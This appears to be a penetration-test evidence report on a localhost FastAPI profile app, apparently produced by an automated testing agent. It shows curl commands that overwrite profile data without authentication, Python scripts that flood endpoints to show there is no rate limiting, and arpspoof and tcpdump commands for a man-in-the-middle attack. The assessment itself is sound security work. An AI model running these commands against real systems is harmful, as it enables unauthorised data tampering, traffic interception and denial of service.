# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-01: Complete Authentication Bypass via Absence of Authentication System

**Summary:**
- **Vulnerable location:** All application endpoints (GET /, POST /, GET /ping, GET /docs, GET /redoc, GET /openapi.json)
- **Overview:** The application has zero authentication mechanisms. All endpoints are publicly accessible without requiring credentials, session tokens, or any form of identity verification. The application uses a hardcoded user ID (1) for all operations.
- **Impact:** Any external attacker has unrestricted access to all application functionality including reading and modifying user profile data, uploading files, and accessing API documentation. Complete account takeover without authentication.
- **Severity:** CRITICAL

**Prerequisites:** None required

**Exploitation Steps:**

1. Access the profile page without any authentication:
```bash
curl http://localhost:32973/
```
Expected result: Full HTML profile page returned with user data (name, surname, address, profile image)

2. View current profile data without authentication:
```bash
curl -s http://localhost:32973/ | grep -A 1 'value='
```
Result: All profile fields visible in plaintext

3. Modify profile data without any authentication:
```bash
curl -X POST http://localhost:32973/ \
  -F "name=EXPLOITED_BY_ATTACKER" \
  -F "surname=NO_AUTH_REQUIRED" \
  -F "address=COMPLETE_AUTHENTICATION_BYPASS"
```
Expected result: HTTP 200 OK response with updated profile data

4. Verify the unauthorized modifications persisted:
```bash
curl -s http://localhost:32973/ | grep -o 'value="[^"]*"' | head -3
```
Actual result:
```
value="EXPLOITED_BY_ATTACKER"
value="NO_AUTH_REQUIRED"
value="COMPLETE_AUTHENTICATION_BYPASS"
```

5. Access API documentation without authentication:
```bash
curl http://localhost:32973/docs
curl http://localhost:32973/openapi.json
```
Result: Complete API specification exposed including all endpoints, parameters, and schemas

6. Access health check endpoint without authentication:
```bash
curl http://localhost:32973/ping
```
Result: `{"ping":"pong"}` - public access confirmed

**Proof of Impact:**

Successfully achieved complete authentication bypass with the following evidence:

1. **Unauthorized Data Access:** Retrieved all profile data (name, surname, address, profile image) without providing any credentials
2. **Unauthorized Data Modification:** Successfully modified all profile fields from legitimate values to exploit markers:
   - Name: `EXPLOITED_BY_ATTACKER`
   - Surname: `NO_AUTH_REQUIRED`
   - Address: `COMPLETE_AUTHENTICATION_BYPASS`
3. **Persistence Confirmed:** Modified data persisted across requests, proving write access
4. **API Enumeration:** Accessed complete API documentation at /docs and /openapi.json without authentication
5. **No Security Controls:** Zero authentication required on any endpoint

**Browser-Based Verification:**

Using Playwright browser automation, confirmed the profile page displays exploit markers:
- Current name field: `EXPLOITED_BY_ATTACKER`
- Current surname field: `NO_AUTH_REQUIRED`
- Current address field: `COMPLETE_AUTHENTICATION_BYPASS`

This proves any attacker can impersonate the user, access their data, and modify their profile without any authentication mechanism preventing unauthorized access.

**Notes:**

The application architecture uses a hardcoded user ID (1) at:
- `/app/main.py:19` - GET endpoint: `profile = user_profiles.get(1, schemas.UserProfile())`
- `/app/main.py:43` - POST endpoint: `user_profiles[1] = profile`

This architectural flaw makes authentication architecturally impossible without significant refactoring. The UserProfile schema (`/app/users/schemas.py:3-7`) contains no password, email, or authentication-related fields.

---

### AUTH-VULN-03: Missing Rate Limiting and Abuse Prevention Controls

**Summary:**
- **Vulnerable location:** All endpoints, specifically POST / (profile update) and GET /ping (health check)
- **Overview:** The application has zero rate limiting, no CAPTCHA, no IP-based throttling, and no lockout mechanisms on any endpoint. Automated tools can send unlimited requests without restriction.
- **Impact:** Enables unlimited automated attacks including brute force, credential stuffing (if auth existed), DoS via resource exhaustion, and amplification of existing vulnerabilities (XXE). Attackers can perform automated profile updates at 540+ requests/second.
- **Severity:** HIGH

**Prerequisites:** None required

**Exploitation Steps:**

1. Create a Python script to test rate limiting on the health check endpoint:

```python
import requests
import time
from concurrent.futures import ThreadPoolExecutor

def send_request(i):
    response = requests.get("http://localhost:32973/ping")
    return response.status_code

# Send 100 rapid GET requests
start_time = time.time()
with ThreadPoolExecutor(max_workers=20) as executor:
    results = list(executor.map(send_request, range(100)))
end_time = time.time()

successful = results.count(200)
rate_limited = results.count(429)
total_time = end_time - start_time
rps = len(results) / total_time

print(f"Total requests: {len(results)}")
print(f"Successful (200 OK): {successful}")
print(f"Rate limited (429): {rate_limited}")
print(f"Requests per second: {rps:.2f}")
print(f"Total time: {total_time:.2f}s")
```

Expected result: All 100 requests succeed with 200 OK, zero 429 responses

2. Execute the rate limiting test:
```bash
python3 test_rate_limiting.py
```

Actual result:
```
Total requests: 100
Successful (200 OK): 100
Rate limited (429): 0
Requests per second: 1943.10
Total time: 0.05s
```

3. Test rate limiting on the profile update endpoint with 50 POST requests:

```python
import requests
import time
from concurrent.futures import ThreadPoolExecutor

def update_profile(i):
    data = {
        'name': f'RateLimitTest{i}',
        'surname': f'Attempt{i}',
        'address': f'NoRateLimiting{i}'
    }
    response = requests.post("http://localhost:32973/", data=data)
    return response.status_code

# Send 50 rapid POST requests
start_time = time.time()
with ThreadPoolExecutor(max_workers=10) as executor:
    results = list(executor.map(update_profile, range(50)))
end_time = time.time()

successful = results.count(200)
rate_limited = results.count(429)
total_time = end_time - start_time
rps = len(results) / total_time

print(f"Total POST requests: {len(results)}")
print(f"Successful (200 OK): {successful}")
print(f"Rate limited (429): {rate_limited}")
print(f"Requests per second: {rps:.2f}")
print(f"Total time: {total_time:.2f}s")
```

Actual result:
```
Total POST requests: 50
Successful (200 OK): 50
Rate limited (429): 0
Requests per second: 540.80
Total time: 0.09s
```

**Proof of Impact:**

Successfully demonstrated absence of rate limiting with concrete evidence:

1. **Health Check Endpoint Abuse:**
   - Sent 100 rapid GET requests to /ping
   - Achieved 1,943.10 requests per second
   - All 100 requests returned 200 OK
   - Zero rate limiting responses (429)
   - Completed in 0.05 seconds

2. **Profile Update Endpoint Abuse:**
   - Sent 50 rapid POST requests to / with form data
   - Achieved 540.80 requests per second
   - All 50 requests returned 200 OK
   - Zero rate limiting responses (429)
   - Successfully modified profile 50 times in 0.09 seconds
   - Each request updated the profile with unique data

3. **No Throttling Mechanisms Detected:**
   - No HTTP 429 (Too Many Requests) responses
   - No connection errors or timeouts
   - No CAPTCHA challenges
   - No progressive delays
   - No temporary bans or lockouts

4. **Unlimited Automated Operations Confirmed:**
   - Can perform unlimited automated profile reads
   - Can perform unlimited automated profile updates
   - Can perform unlimited automated file uploads
   - Can amplify XXE vulnerability at scale

**Attack Scenarios Enabled:**

1. **Resource Exhaustion DoS:** Send millions of requests to exhaust server resources
2. **XXE Amplification:** Upload thousands of malicious XML files to exfiltrate data at scale
3. **Brute Force (if auth existed):** Attempt unlimited password combinations
4. **Credential Stuffing (if auth existed):** Test stolen credentials without throttling
5. **Data Scraping:** Extract all data via unlimited automated requests

**Notes:**

The application has no rate limiting libraries installed:
- No `slowapi` (FastAPI rate limiting)
- No `fastapi-limiter`
- No custom rate limiting middleware
- No IP tracking or blocking
- FastAPI application created without middleware: `app = FastAPI()` at `/app/main.py:9`

No monitoring or alerting configured beyond basic error printing (`print(e)` at line 40).

---

## Potential Vulnerabilities (Validation Blocked)

### AUTH-VULN-02: Missing Transport Layer Security (HTTP-Only Operation)

**Summary:**
- **Vulnerable location:** All endpoints - application runs exclusively on HTTP port 80 without HTTPS/TLS
- **Current Blocker:** Network interception requires positioning on the network path (WiFi, router, ISP), which is not accessible via the public application interface at http://localhost:32973
- **Potential Impact:** Man-in-the-Middle attacks to intercept and modify all communications including PII (names, addresses, file uploads)
- **Confidence:** HIGH (vulnerability confirmed, but exploitation requires network-level access)

**Evidence of Vulnerability:**

The following evidence confirms the application operates without transport security:

1. **HTTP-Only Configuration:**
```bash
curl -v http://localhost:32973/ping 2>&1 | grep "^<"
```
Result:
```
< HTTP/1.1 200 OK
< date: Wed, 29 Oct 2025 23:45:49 GMT
< server: uvicorn
< content-length: 15
< content-type: application/json
```

2. **No HTTPS Listener:**
```bash
curl -k https://localhost:32973/ 2>&1
```
Result: `curl: (35) LibreSSL/3.3.6: error:1404B42E:SSL routines:ST_CONNECT:tlsv1 alert protocol version`

3. **Missing Security Headers:**
   - No `Strict-Transport-Security` (HSTS) header
   - No `Cache-Control: no-store` header
   - Server header reveals technology: `server: uvicorn`

4. **Infrastructure Configuration Evidence:**
   - Dockerfile CMD: `uvicorn main:app --host 0.0.0.0 --port 80` (no SSL flags)
   - docker-compose.yml: `ports: - 80` (no port 443 configured)
   - Health check uses HTTP: `curl -f http://localhost/ping`

**Attempted Exploitation:**

Network interception attacks require positioning between the client and server, which necessitates:
- Access to the network segment (same WiFi, LAN)
- ARP spoofing capabilities
- DNS hijacking
- Router/gateway access
- ISP-level interception

These requirements are **outside the scope** of exploitation via the public application interface at http://localhost:32973. I can only send HTTP requests to the application, not intercept network traffic.

**How This Would Be Exploited:**

If network-level access were available, the following steps would achieve exploitation:

1. Position attacker on network path between client and http://localhost:32973 server
```bash
# Example using arpspoof (requires network access - OUT OF SCOPE)
arpspoof -i eth0 -t [CLIENT_IP] [GATEWAY_IP]
arpspoof -i eth0 -t [GATEWAY_IP] [CLIENT_IP]
```

2. Configure traffic interception with Wireshark or tcpdump
```bash
# Capture HTTP traffic (requires network access - OUT OF SCOPE)
tcpdump -i eth0 -A 'tcp port 32973'
```

3. Intercept plaintext profile update request containing PII:
```
POST / HTTP/1.1
Host: localhost:32973
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="name"

John Doe
------WebKitFormBoundary
Content-Disposition: form-data; name="address"

123 Sensitive Street, Private City
------WebKitFormBoundary--
```

4. Modify request in transit to inject malicious data or redirect to attacker-controlled endpoint

5. Capture response containing sensitive profile data in plaintext

**Expected Impact:**

If network access were obtained, an attacker could:
- Intercept all user data (names, addresses, uploaded files) in plaintext
- Modify requests and responses in transit
- Inject malicious payloads
- Steal session tokens (if authentication existed)
- Perform phishing attacks via DNS spoofing
- Redirect users to malicious sites

**Classification Rationale:**

This vulnerability is classified as **POTENTIAL** (not EXPLOITED) because:
1. The vulnerability definitively exists (confirmed HTTP-only operation, no TLS)
2. Active exploitation requires network-level access outside the application's public interface
3. The blocking factor is an **external operational constraint** (network positioning), not a security control designed to prevent this attack
4. Code analysis and configuration review prove the vulnerability is real
5. The application provides no HTTPS alternative or enforcement

This is **NOT** a false positive - the vulnerability is real and would be exploitable by an attacker with network access (public WiFi, compromised router, ISP). However, demonstrating active exploitation is impossible via the public application interface alone.
